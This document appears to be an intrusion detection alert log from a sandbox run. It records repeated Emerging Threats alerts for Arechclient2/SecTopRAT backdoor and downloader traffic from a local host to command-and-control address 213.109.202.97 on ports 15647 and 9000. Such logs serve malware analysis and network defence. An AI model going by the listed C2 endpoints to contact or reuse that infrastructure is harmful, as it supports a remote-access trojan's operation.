2024-10-19T03:37:01.054485+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.163095+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.283712+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.397287+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.508517+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.560847+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	49704	TCP
2024-10-19T03:37:01.672085+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.773147+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:02.189651+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:02.308239+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:02.445861+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:02.784485+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:04.890122+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49705	213.109.202.97	9000	TCP
2024-10-19T03:37:05.173655+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49705	213.109.202.97	9000	TCP
2024-10-19T03:37:16.225524+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49706	213.109.202.97	9000	TCP
2024-10-19T03:37:17.225522+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49708	213.109.202.97	9000	TCP
2024-10-19T03:37:18.209920+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49711	213.109.202.97	9000	TCP
2024-10-19T03:37:19.241225+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49713	213.109.202.97	9000	TCP
2024-10-19T03:37:19.241225+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49713	213.109.202.97	9000	TCP
2024-10-19T03:37:27.805479+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49716	213.109.202.97	9000	TCP
2024-10-19T03:37:28.741349+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49749	213.109.202.97	9000	TCP
2024-10-19T03:37:30.006991+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49754	213.109.202.97	9000	TCP
2024-10-19T03:37:30.006991+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49754	213.109.202.97	9000	TCP
2024-10-19T03:37:31.022620+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49761	213.109.202.97	9000	TCP
2024-10-19T03:37:31.022620+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49761	213.109.202.97	9000	TCP
2024-10-19T03:37:32.038233+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49767	213.109.202.97	9000	TCP
2024-10-19T03:37:32.038233+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49767	213.109.202.97	9000	TCP
2024-10-19T03:37:33.085144+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49773	213.109.202.97	9000	TCP
2024-10-19T03:37:33.085144+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49773	213.109.202.97	9000	TCP
2024-10-19T03:37:34.085162+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49782	213.109.202.97	9000	TCP
2024-10-19T03:37:34.085162+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49782	213.109.202.97	9000	TCP
2024-10-19T03:37:35.116444+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49789	213.109.202.97	9000	TCP
2024-10-19T03:37:35.116444+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49789	213.109.202.97	9000	TCP
2024-10-19T03:37:36.116466+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49795	213.109.202.97	9000	TCP
2024-10-19T03:37:36.116466+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49795	213.109.202.97	9000	TCP
2024-10-19T03:37:37.194559+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49801	213.109.202.97	9000	TCP
2024-10-19T03:37:37.194559+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49801	213.109.202.97	9000	TCP
2024-10-19T03:37:38.194590+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49807	213.109.202.97	9000	TCP
2024-10-19T03:37:38.194590+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49807	213.109.202.97	9000	TCP
2024-10-19T03:37:39.194778+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49813	213.109.202.97	9000	TCP
2024-10-19T03:37:39.194778+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49813	213.109.202.97	9000	TCP
2024-10-19T03:37:40.179169+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49819	213.109.202.97	9000	TCP
2024-10-19T03:37:40.179169+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49819	213.109.202.97	9000	TCP
2024-10-19T03:37:41.210341+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49825	213.109.202.97	9000	TCP
2024-10-19T03:37:41.210341+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49825	213.109.202.97	9000	TCP
2024-10-19T03:37:42.194785+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49831	213.109.202.97	9000	TCP
2024-10-19T03:37:42.194785+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49831	213.109.202.97	9000	TCP
2024-10-19T03:37:43.179113+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49840	213.109.202.97	9000	TCP
2024-10-19T03:37:43.179113+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49840	213.109.202.97	9000	TCP
2024-10-19T03:37:44.194751+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49848	213.109.202.97	9000	TCP
2024-10-19T03:37:44.194751+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49848	213.109.202.97	9000	TCP
2024-10-19T03:37:45.226037+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49854	213.109.202.97	9000	TCP
2024-10-19T03:37:45.226037+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49854	213.109.202.97	9000	TCP
2024-10-19T03:37:46.257273+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49860	213.109.202.97	9000	TCP
2024-10-19T03:37:46.257273+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49860	213.109.202.97	9000	TCP
2024-10-19T03:37:47.272824+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49866	213.109.202.97	9000	TCP
2024-10-19T03:37:47.272824+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49866	213.109.202.97	9000	TCP
2024-10-19T03:37:48.257212+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49872	213.109.202.97	9000	TCP
2024-10-19T03:37:48.257212+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49872	213.109.202.97	9000	TCP
2024-10-19T03:37:49.241695+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49878	213.109.202.97	9000	TCP
2024-10-19T03:37:49.241695+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49878	213.109.202.97	9000	TCP
2024-10-19T03:37:50.257341+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49884	213.109.202.97	9000	TCP
2024-10-19T03:37:50.257341+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49884	213.109.202.97	9000	TCP
2024-10-19T03:37:51.241622+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49894	213.109.202.97	9000	TCP
2024-10-19T03:37:51.241622+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49894	213.109.202.97	9000	TCP
2024-10-19T03:37:52.288533+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49900	213.109.202.97	9000	TCP
2024-10-19T03:37:52.288533+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49900	213.109.202.97	9000	TCP
2024-10-19T03:37:53.304160+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49906	213.109.202.97	9000	TCP
2024-10-19T03:37:53.304160+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49906	213.109.202.97	9000	TCP
2024-10-19T03:37:54.319800+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49913	213.109.202.97	9000	TCP
2024-10-19T03:37:54.319800+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49913	213.109.202.97	9000	TCP
2024-10-19T03:37:55.382301+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49919	213.109.202.97	9000	TCP
2024-10-19T03:37:55.382301+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49919	213.109.202.97	9000	TCP
2024-10-19T03:37:56.382472+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49925	213.109.202.97	9000	TCP
2024-10-19T03:37:56.382472+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49925	213.109.202.97	9000	TCP
2024-10-19T03:37:57.397968+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49932	213.109.202.97	9000	TCP
2024-10-19T03:37:57.397968+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49932	213.109.202.97	9000	TCP
2024-10-19T03:37:58.585525+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49938	213.109.202.97	9000	TCP
2024-10-19T03:37:58.585525+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49938	213.109.202.97	9000	TCP
2024-10-19T03:37:59.601106+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49944	213.109.202.97	9000	TCP
2024-10-19T03:37:59.601106+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49944	213.109.202.97	9000	TCP
2024-10-19T03:38:00.601159+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49951	213.109.202.97	9000	TCP
2024-10-19T03:38:00.601159+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49951	213.109.202.97	9000	TCP
2024-10-19T03:38:01.601135+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49957	213.109.202.97	9000	TCP
2024-10-19T03:38:01.601135+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49957	213.109.202.97	9000	TCP
2024-10-19T03:38:02.616778+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49967	213.109.202.97	9000	TCP
2024-10-19T03:38:02.616778+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49967	213.109.202.97	9000	TCP
2024-10-19T03:38:03.694916+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49973	213.109.202.97	9000	TCP
2024-10-19T03:38:03.694916+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49973	213.109.202.97	9000	TCP
2024-10-19T03:38:04.726181+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49979	213.109.202.97	9000	TCP
2024-10-19T03:38:04.726181+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49979	213.109.202.97	9000	TCP
2024-10-19T03:38:05.710550+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49985	213.109.202.97	9000	TCP
2024-10-19T03:38:05.710550+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49985	213.109.202.97	9000	TCP
2024-10-19T03:38:06.679340+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49991	213.109.202.97	9000	TCP
2024-10-19T03:38:06.679340+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49991	213.109.202.97	9000	TCP
2024-10-19T03:38:07.663715+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49997	213.109.202.97	9000	TCP
2024-10-19T03:38:07.663715+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	49997	213.109.202.97	9000	TCP
2024-10-19T03:38:08.663718+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50004	213.109.202.97	9000	TCP
2024-10-19T03:38:08.663718+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50004	213.109.202.97	9000	TCP
2024-10-19T03:38:09.663755+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50014	213.109.202.97	9000	TCP
2024-10-19T03:38:09.663755+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50014	213.109.202.97	9000	TCP
2024-10-19T03:38:10.663760+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50019	213.109.202.97	9000	TCP
2024-10-19T03:38:10.663760+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50019	213.109.202.97	9000	TCP
2024-10-19T03:38:11.679425+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50025	213.109.202.97	9000	TCP
2024-10-19T03:38:11.679425+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50025	213.109.202.97	9000	TCP
2024-10-19T03:38:12.679413+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50027	213.109.202.97	9000	TCP
2024-10-19T03:38:12.679413+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50027	213.109.202.97	9000	TCP
2024-10-19T03:38:13.726393+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50028	213.109.202.97	9000	TCP
2024-10-19T03:38:13.726393+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50028	213.109.202.97	9000	TCP
2024-10-19T03:38:14.741967+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50029	213.109.202.97	9000	TCP
2024-10-19T03:38:14.741967+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50029	213.109.202.97	9000	TCP
2024-10-19T03:38:15.741931+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50030	213.109.202.97	9000	TCP
2024-10-19T03:38:15.741931+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50030	213.109.202.97	9000	TCP
2024-10-19T03:38:16.714291+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50031	213.109.202.97	9000	TCP
2024-10-19T03:38:16.714291+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50031	213.109.202.97	9000	TCP
2024-10-19T03:38:17.710709+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50032	213.109.202.97	9000	TCP
2024-10-19T03:38:17.710709+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50032	213.109.202.97	9000	TCP
2024-10-19T03:38:18.710873+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50033	213.109.202.97	9000	TCP
2024-10-19T03:38:18.710873+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50033	213.109.202.97	9000	TCP
2024-10-19T03:38:19.741985+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50034	213.109.202.97	9000	TCP
2024-10-19T03:38:19.741985+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50034	213.109.202.97	9000	TCP
2024-10-19T03:38:20.726763+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50035	213.109.202.97	9000	TCP
2024-10-19T03:38:20.726763+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50035	213.109.202.97	9000	TCP
2024-10-19T03:38:21.654481+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50037	213.109.202.97	15647	TCP
2024-10-19T03:38:21.664100+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50037	213.109.202.97	15647	TCP
2024-10-19T03:38:21.685299+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50038	213.109.202.97	15647	TCP
2024-10-19T03:38:21.695346+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50038	213.109.202.97	15647	TCP
2024-10-19T03:38:21.711811+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50038	213.109.202.97	15647	TCP
2024-10-19T03:38:21.726401+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50036	213.109.202.97	9000	TCP
2024-10-19T03:38:21.726401+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50036	213.109.202.97	9000	TCP
2024-10-19T03:38:21.726564+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50038	213.109.202.97	15647	TCP
2024-10-19T03:38:21.743699+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50038	213.109.202.97	15647	TCP
2024-10-19T03:38:21.763694+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50039	213.109.202.97	15647	TCP
2024-10-19T03:38:21.773581+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50039	213.109.202.97	15647	TCP
2024-10-19T03:38:21.789006+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50039	213.109.202.97	15647	TCP
2024-10-19T03:38:21.804674+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50039	213.109.202.97	15647	TCP
2024-10-19T03:38:21.825939+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50041	213.109.202.97	15647	TCP
2024-10-19T03:38:21.835850+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50041	213.109.202.97	15647	TCP
2024-10-19T03:38:21.851524+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50041	213.109.202.97	15647	TCP
2024-10-19T03:38:21.868609+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50041	213.109.202.97	15647	TCP
2024-10-19T03:38:21.883105+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50041	213.109.202.97	15647	TCP
2024-10-19T03:38:21.908223+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:21.913957+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:21.931684+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:21.951076+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:21.961332+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:21.977742+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:21.992214+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.008624+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.023396+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.039054+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.054632+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.071345+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.085880+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.101727+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.117129+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.132850+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.148420+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.165655+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.180056+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.195245+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.211191+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.226716+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.242159+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.263507+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.274043+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.289274+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.304761+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.320608+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.335841+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.352426+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.367083+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.382967+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.398385+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.414837+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.429827+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.446108+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.460916+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.476490+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50042	213.109.202.97	15647	TCP
